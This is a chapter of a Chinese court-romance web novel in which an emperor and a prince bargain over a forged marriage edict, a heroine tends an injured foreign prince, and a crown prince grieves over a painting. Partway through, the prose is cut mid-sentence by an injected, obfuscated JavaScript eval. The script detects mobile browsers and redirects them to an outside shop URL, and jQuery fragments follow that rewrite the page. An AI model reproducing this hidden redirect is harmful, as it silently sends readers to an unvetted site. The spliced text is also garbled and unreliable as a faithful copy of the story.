12.聪慧得很
作品:《谋妆》 【12】聪慧得很/
“我能救得下你,就能杀得了你。
皇宫御书房内。
萧慎没批奏折,在看赐婚圣旨。
哪怕本人看了,都觉得是真的,其中有江砚辞,同时有陆晚漾,抛去字迹不说,只差扣玉玺了。
私自伪造圣旨,常被视为谋反,或大不敬之罪,可判处斩立决。
他瑞王倒胆大,最懂君臣之道,却还破釜沉舟。
阳光洒落绢帛,血色文字显眼。
萧慎视线顿住,定在扣章之处,眼底滑过冷意,随意道:“若是朕不允呢?”
“你没有答案吗?”
江砚辞似释然,淡淡道:“若是王妃不允,换成皇后可行?”
性情彻底显现。
语调轻蔑至极。
皇兄养的孩子,的确深藏不露,颇有故人之姿。
“砚辞,你想娶谁都行,唯独陆女不行。”
萧慎有些迟疑,定定望着这人,解释道:“你的母亲姓陆,似与陆府有旧,不能乱了伦常。”
而晚漾的样貌,当真十分诡异,眉眼也太像了。
“她只是她自己,不是谁的替身。”
江砚辞很平静,打量萧慎神情,反问道:“你总提我母亲,但是说直白些,除去听过的话,可曾见过人呢?”
萧慎听到这里,透过他的模样,似看到陆长生。
都说舅甥很像,看来果真不假。
“可瑞王却忘了,陆女皆已定亲,哪怕再是喜欢,君子但尽人事,宁拆十座庙宇,不毁一桩婚约。”
“闲得有些久了,总要争些抢些。”
江砚辞很肆意,没有丝毫恐惧,模样自然得很。
哪怕面对帝王,坐姿丝毫未改。
他给足了台阶。
可瑞王不肯下。
萧慎眸光冷淡,神情明显不悦,提醒道:“长生曾经说过,你的婚姻大事,他有他的想法,不许皇室插手。”
“婚又不是他结,没什么大不了。”
“晚漾是朕儿媳,你换个人再求,莫要执迷不悟。”
“但皇上却忘了。”
江砚辞顿了顿,好心道:“太子还未娶亲,聘礼亦未曾下,媒妁更未有定,童言无忌罢了,自然作不得数。”
隔着几步距离,两人身量极像,气势同样相当。
昔日还是稚子,
如今将至弱冠。
但在他的眼里,只觉受了挑衅。
萧慎眸色愈深,眼底暗藏阴戾,冷声道:“若朕要娶她呢?瑞王还想抢吗?”
“你不可能娶啊,我为何要抢呢?”
江砚辞缓过神,补充道:“你都有秦姒了,难道还不够吗?君子色而不淫,多情而不滥情。宣德皇后的事,不过一掬细沙,早就该翻篇了。”
萧慎听到这里,明白话中所指,眼神晦暗不明。
“你在威胁朕吗?”
“我在提醒陛下。”
江砚辞冷着声,半分躲闪都无,补充道:“宣纸包不住火,再是天衣无缝,也有纰漏可抓,枕边人最可怖,谁都瞒不住谁。”
随着话语落下,四周霎时静了。
萧慎同他对视,似被看透一般,莫名心头一惊,不知作何回答。
“朕可以扣这章……”
他怔然望过去,补充道:“但是有个条件,瑞王敢答应吗?”
“怎么不敢答应。”
江砚辞没犹豫,仿佛处理家常,这是他的自信。
只要你跟他提,他就敢应下来。
萧慎看着绢帛,手指摩挲文字,缓缓道:“我要瑞王的诺,你既掺和政权,那便扶持太子,如此可愿答应?”
很简单的话语。
很隐晦的警告。
要用女子解决,虽是制敌下策,也是形势所迫,南凌需要时间。
瑞王府问世事,就与太子同线,庇佑江山稳固。
江砚辞似意会,回复道:“瑞王府没有兵。”
“瑞王府有瑞王。”
萧慎沉默片刻,补充道:“砚辞聪慧得很,瑞字是何含义,应该很清楚吧,打仗的最优解,当作不战胜之。”
将士可以再征,士气难以再觅。
江砚辞无奈道:“凡事皆有定数,不得擅自更改。”
“但是,你已经更改了……”
萧慎说到这里,想起那则预言,解释道:“砚辞没有情缘,却沉沦俗世中,还欲求娶晚漾,别自欺欺人了。”
皆有七情六欲,谁都无法逃过。
江砚辞缓过神,不禁垂下了眼,却定在桌左侧。
“荷花酥挺不错。”
御膳房出来的,当真精致得很。
“论及英雄二字,抛去功绩不谈,美人关最难过。”
萧慎看向点心,分析话中深意,平静道:“同样都是粉色,你想说糕点呢,或想说美人呢?”
*
陆晚漾坐床边,看着榻上的人,回想年幼旧事,不觉陷入沉思。
她知道他很苦,没想到这般苦。
十二岁的男孩,四肢筋脉皆断,还被下多种毒,表面无伤大雅,实则羸弱得很,都比不过幼童。
这就是阿凌啊,哪怕样貌大改,怎么认不出呢。
“女子的第六感,胜过任何探查。”
陆晚漾说着话,抚过他的眉眼,喃喃道:“既然选择离开,不说平步青云,也该过得更好,怎么还这样呢?”
你不是太子吗?
你不是南宫吗?
绣裳先回过神,提议道:“江湖上有传闻,瑞王体质特殊,血液能解万毒,或许可以一试。”
在她的信条中,什么瑞不瑞王,不过药引罢了。
“你性子太傲了……”
陆晚漾缓过神,将右手收回来,偏头看向绣裳,平静道:“上午街巷那事,意识到错了吗?”
护主之心可贵,但却未顾性命。
绣裳未有悔意,坚定道:“能保姑娘无恙,绣裳死不足惜。”
少女清冷得很,站姿一如既往。
“你是鲜活的人,不是冰冷死物,保命才最要紧。”
陆晚漾说着话,打量绣裳神情,见其沉默得很,无奈道:“若没别的事情,你去找绮罗吧,顺便耐心琢磨。”
绣裳点头应声,便转身离开了。
房间恢复寂静,氛围略显凝重,甚至有些压抑。
陆晚漾看男孩,淡淡道:“阿凌醒都醒了,不睁眼看我吗?”
“还是瞒不住你。”
南宫凌睁开眼,撑着手坐起来,靠坐在床头处。
陆晚漾不解道:“为何来南凌呢?”
你这穿着精致,不像被人虐待,倒像精心打扮。
“天子脚下安全。”
“我若不在那里,你要作何打算?”
“漾儿聪慧得很,见我现在这般,便能推测大概。”
南宫凌缓过神,想到秦府的人,补充道:“秦小将军不错,可惜立场不同,当作政敌视之。”
除了有些妹控,没有别的弱点。
陆晚漾似意会,反问道:“你在提醒我吗?”
“我在帮助漾儿。”
南宫凌顿了顿,补充道:“我很熟悉北域,只要漾儿需要,两军对战之际,我可当作军师,助你一臂之力。”
陆晚漾平静道:“那你想要什么?”
身为北域太子,来帮南凌敌军,当真难评得很。
“北域皇室的命。”
南宫凌顿了顿,补充道:“当然,除去我的阿姐。”
陆晚漾听阿姐,回忆上世的事,再对比时间线,似明白了什么。
“你说南宫芷吗?”
倒算个奇女子,可惜红颜薄命。
南宫凌怔住了,不禁道:“漾儿认识阿姐?”
阿姐待在宫中,极少外出游玩,不曾出过北域,更没来过南凌。
“与其考虑这些,不如担心身体。”
陆晚漾顿了顿,补充道:“就你这小身板,别说当军师了,怕还没等着呢,命都快要没了。”
她说完这些话,打量起南宫凌,见他没有异常。
“我能救得下你,就能杀得了你。”
话并没有说透,但其中的意思,明显的不得了。
南宫凌未有惧,认真道:“能与漾儿共事,当作阿凌之幸。”
他能骗任何人,却不骗陆晚漾。
*
太阳渐渐西沉。
黑夜悄然而至。
桌上燃着蜡烛,光芒明亮温暖,衬得画作神秘。
随着终笔落下,彻底勾勒完成。
那雨后凉亭中,桌上茶点精致,两人对坐相视,仿佛举案齐眉。
男孩紫色衣袍,端正坐于石凳,姿态懒散不羁,模样还显稚嫩,却在翻看策论,神态极其认真;女孩月白
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930922|191667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
衣裙,坐于男孩对面,双手支着下巴,模样俏皮可爱,打量男孩面容,似乎在听故事。
都说恶紫夺朱,都言月白清冷,但却相谐得很。
画内迷离淅沥,
画外烛火葳蕤。
若是陆晚漾在,便能认出此画。
都是幼时模样,笔触栩栩如生,姿态却被篡改,全然凭空捏造。
“都快画一天了,还不肯停下吗?”
秦景策扯过画,强行压制怒意,冷声道:“若再这般沉沦,画作便别要了。她有哪里好啊,非得执念至此?”
“秦景策……”
“本宫是皇太子,你有些僭越了。”
萧云澈慌了神,再无半分泰然,伸过右手去抢,却怕撕毁画作,不敢动作太大,小心翼翼起来。
秦景策没理会,刚要动手撕毁,便骤然怔住了。
桌上废稿坠落,
甚至洒了一地。
而他…在地上捡…
“那小丫头怎样?不过借口罢了。”
秦景策跟着捡,一张接着一张,无奈道:“若是真的爱你,怎会这般待你?还说什么独宠,天家妻不够吗?云澈你得承认,要想做好皇帝,便不能动真情。”
画作纸张变皱,根本无法复原。
“云澈,最后这画没事……”
萧云澈接过画,将其缓慢铺展,拿出太子印玺,蘸过红色印泥,在画作左下角,扣下那个印记。
画作构图精致,再添上这红印,显得格外生灵。
他喃喃道:“皇太子宝……”
秦景策听这话,冷声道:“你能清醒些吗?”
萧云澈淡淡道:“表哥,都穿着白衣了,语调多少轻些,注意文人素养。”
性子大大咧咧,倒适合去边关。
秦景策倒没怒,看萧云澈神情,无奈道:“试着往前走吧。”
他却听到他说——
“漾儿既说嫁我,我这往后余生,无论遇到什么,总要信守承诺,免得悔恨难消,终究是我错了……”
萧云澈看窗外,只见悲凉宫墙。
红墙绿瓦生灵,伴着簌簌风声,细雨如丝坠落,似现少女的话。
“年少不惜情贵,你是否懊悔呢?”
她问是否懊悔,他用沉默作答,至此形同陌路。
他自出生之时,要身份有身份,要权势有权势,要宠爱有宠爱,当真算是幸福,却难得心上人。
皇祖母时常说:“帝王第一要义,当作开枝散叶,免得子嗣单薄。”
她要偏爱独宠,
他得顾及子嗣。
都坚持两年了,但是面对未来,却不敢确定了。
萧云澈缓过神,从过往挣脱开,回头看秦景策,淡淡道:“少年的命好吗。”
不是疑问语气,而是陈述语气。
那极贵的命格,在他婚配之际,成了无形枷锁。
在南凌王朝里,少年偏中性词,既可以指男孩,亦可以指女孩,而他字则不同,这简单的话中,耐心分析深意,更多的是说她,当真欲盖弥彰。
她那天生凤命,落在了瑞王府。
秦景策思至此,垂眼再看画作,瞬间回到上午,不由道:“哪有一举两得,想要得到什么,就要失去什么,谁都逃脱不了。”
萧云澈没回话,再次拿起毛笔,在画作右上角,动笔开始题字。
内容从右至左,很对称的两列。
…
倾颜咒祭清肆,
清肆陵葬倾颜。
…
他写完这些字,不禁抬起左手,轻抚女孩身姿,心间涌过暖流,指尖莫名泛热,悄然晃了心神。
都爱你的眉眼。
都恨你的眉眼。
“如果能有来世,别做陆家女了,只做萧家妇吧。”
随着话语落下,氛围瞬间凝重。
秦景策看此景,注意到那葬字,喃喃道:“君恩如同活水,情仇再是难解,随着时间流逝,亦将化作云雾。”
若是再直白些,便是笑话罢了。
微风透窗而入,吹得画纸摆动,似在附和此话。
“最难共情的人,从来都是自己。”
萧云澈垂下眼,看着画中两人,无奈道:“不说话的夺命,是我们两个间,唯存的联系了……”
她不要断魂了,便不要云澈了。
那枚凤形玉佩,再次换了主人,也算物归其主。

